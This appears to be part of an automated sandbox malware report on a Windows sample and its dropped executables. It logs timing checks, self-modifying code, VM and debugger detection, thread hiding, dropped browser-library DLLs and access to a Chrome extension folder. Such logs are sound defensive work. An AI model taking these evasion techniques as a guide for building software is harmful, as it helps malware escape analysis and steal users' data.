Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3CA299 second address: 3CA2C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 je 00007F33C5AF17C6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jl 00007F33C5AF17EAh 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F33C5AF17D1h 0x0000001c rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3D9C56 second address: 3D9C5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3D9C5C second address: 3D9C68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3D9C68 second address: 3D9C6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3D9807 second address: 3D9824 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F33C5AF17D4h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop ebx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3D9824 second address: 3D9833 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push edi 0x0000000b push esi 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3DF8D0 second address: 3DF8D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3DF8D4 second address: 3DF8DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3DF8DA second address: 3DF8E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3DF8E4 second address: 3DF8E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3DF8E8 second address: 3DF8EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3DF8EC second address: 3DF8FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33C4756A2Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3DF8FD second address: 3DF903 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3DF903 second address: 3DF907 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3E1E50 second address: 3E1E54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3E25B5 second address: 3E25BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3E25BB second address: 3E25DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33C5AF17D0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3E25DA second address: 3E25E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6FFAFE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 8BC8F2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 92FC1D instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Special instruction interceptor: First address: 1FE940 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Special instruction interceptor: First address: 1FEA63 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Special instruction interceptor: First address: 383B36 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Special instruction interceptor: First address: 383D07 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Special instruction interceptor: First address: 3A97FE instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Special instruction interceptor: First address: 432C16 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 72E940 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 72EA63 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 8B3B36 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 8B3D07 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 8D97FE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 962C16 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Special instruction interceptor: First address: 95C26A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Special instruction interceptor: First address: B2BFFE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Special instruction interceptor: First address: B15752 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Special instruction interceptor: First address: B8CA09 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Special instruction interceptor: First address: D4FAFE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Special instruction interceptor: First address: F0C8F2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Special instruction interceptor: First address: F7FC1D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Special instruction interceptor: First address: 9CD9B8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Special instruction interceptor: First address: 9CD9FA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Special instruction interceptor: First address: C0C759 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Special instruction interceptor: First address: 9D3B5F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Special instruction interceptor: First address: 64FFAFE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Special instruction interceptor: First address: 66BC8F2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Special instruction interceptor: First address: 672FC1D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Special instruction interceptor: First address: 63AFAFE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Special instruction interceptor: First address: 656C8F2 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Memory allocated: 4A70000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Memory allocated: 4C40000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Memory allocated: 6C40000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Memory allocated: 4EA0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Memory allocated: 5200000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Memory allocated: 7200000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsFIIIIJKFCA.exe

Code function: 9_2_05160DC8 rdtsc

9_2_05160DC8

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Window / User API: threadDelayed 408

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4908	Thread sleep count: 46 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4908	Thread sleep time: -92046s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8116	Thread sleep count: 51 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8116	Thread sleep time: -102051s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7900	Thread sleep count: 408 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7900	Thread sleep time: -12240000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8108	Thread sleep count: 50 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8108	Thread sleep time: -100050s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 396	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7872	Thread sleep count: 50 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7872	Thread sleep time: -100050s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7908	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7900	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe TID: 5640	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe TID: 7636	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe TID: 7484	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe TID: 7700	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe TID: 1420	Thread sleep time: -30000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsFIIIIJKFCA.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6FEBF0 PR_GetNumberOfProcessors,GetSystemInfo,

0_2_6C6FEBF0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.1941489405.0000000000886000.00000040.00000001.01000000.00000003.sdmp, DocumentsFIIIIJKFCA.exe, 00000009.00000002.1974188897.0000000000389000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 0000000A.00000002.2013131269.00000000008B9000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000000B.00000002.2912678413.00000000008B9000.00000040.00000001.01000000.0000000E.sdmp, 580f9a92c2.exe, 0000000C.00000002.2384979411.0000000000AE5000.00000040.00000001.01000000.0000000F.sdmp, 971dbb906d.exe, 0000000D.00000002.2458055224.0000000000ED6000.00000040.00000001.01000000.00000010.sdmp, a247c36bcc.exe, 0000000F.00000002.2658701277.0000000000B54000.00000040.00000001.01000000.00000011.sdmp, 580f9a92c2.exe, 00000011.00000002.2746624404.0000000000AE5000.00000040.00000001.01000000.0000000F.sdmp, 580f9a92c2.exe, 00000011.00000002.2755432432.0000000006686000.00000040.00000800.00020000.00000000.sdmp, 971dbb906d.exe, 00000012.00000002.2630069512.0000000000ED6000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 580f9a92c2.exe, 00000014.00000003.2782093488.0000000001383000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772523264.0000000001383000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781687334.0000000001383000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2773096940.0000000001383000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWYyJ>
Source: file.exe, 00000000.00000002.1968346167.0000000023531000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\o
Source: 971dbb906d.exe, 00000015.00000002.2892455567.000000000147B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware^
Source: 971dbb906d.exe, 0000000D.00000002.2457446943.0000000000916000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW1
Source: 580f9a92c2.exe, 00000011.00000003.2715613994.0000000001389000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareLO#A2
Source: file.exe, 00000000.00000002.1942675827.0000000001035000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000B.00000002.2915270609.0000000000A5E000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000B.00000002.2915270609.0000000000A4A000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000B.00000002.2915270609.0000000000A79000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000002.2387035660.0000000000DC4000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000002.2386829534.0000000000D5E000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2384024108.0000000000DC4000.00000004.00000020.00020000.00000000.sdmp, 971dbb906d.exe, 0000000D.00000002.2457446943.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534445687.0000000001322000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2603565001.0000000001322000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000002.2748924112.0000000001322000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 971dbb906d.exe, 00000015.00000002.2892455567.000000000147B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.1968346167.0000000023531000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: file.exe, 00000000.00000002.1942675827.0000000001035000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW6G
Source: file.exe, 00000000.00000002.1942675827.0000000001002000.00000004.00000020.00020000.00000000.sdmp, 971dbb906d.exe, 00000012.00000002.2631391189.000000000153B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: 971dbb906d.exe, 00000012.00000002.2631391189.00000000014FB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware!Dt4!
Source: 971dbb906d.exe, 00000012.00000002.2631391189.000000000156A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL
Source: file.exe, 00000000.00000002.1942675827.0000000000FBE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware,
Source: file.exe, 00000000.00000002.1941489405.0000000000886000.00000040.00000001.01000000.00000003.sdmp, DocumentsFIIIIJKFCA.exe, 00000009.00000002.1974188897.0000000000389000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 0000000A.00000002.2013131269.00000000008B9000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000000B.00000002.2912678413.00000000008B9000.00000040.00000001.01000000.0000000E.sdmp, 580f9a92c2.exe, 0000000C.00000002.2384979411.0000000000AE5000.00000040.00000001.01000000.0000000F.sdmp, 971dbb906d.exe, 0000000D.00000002.2458055224.0000000000ED6000.00000040.00000001.01000000.00000010.sdmp, a247c36bcc.exe, 0000000F.00000002.2658701277.0000000000B54000.00000040.00000001.01000000.00000011.sdmp, 580f9a92c2.exe, 00000011.00000002.2746624404.0000000000AE5000.00000040.00000001.01000000.0000000F.sdmp, 580f9a92c2.exe, 00000011.00000002.2755432432.0000000006686000.00000040.00000800.00020000.00000000.sdmp, 971dbb906d.exe, 00000012.00000002.2630069512.0000000000ED6000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 971dbb906d.exe, 0000000D.00000002.2457446943.00000000008E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 11_2_04A40C03 Start: 04A40DBF End: 04A40BD0

11_2_04A40C03

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Process queried: DebugPort	Jump to behavior
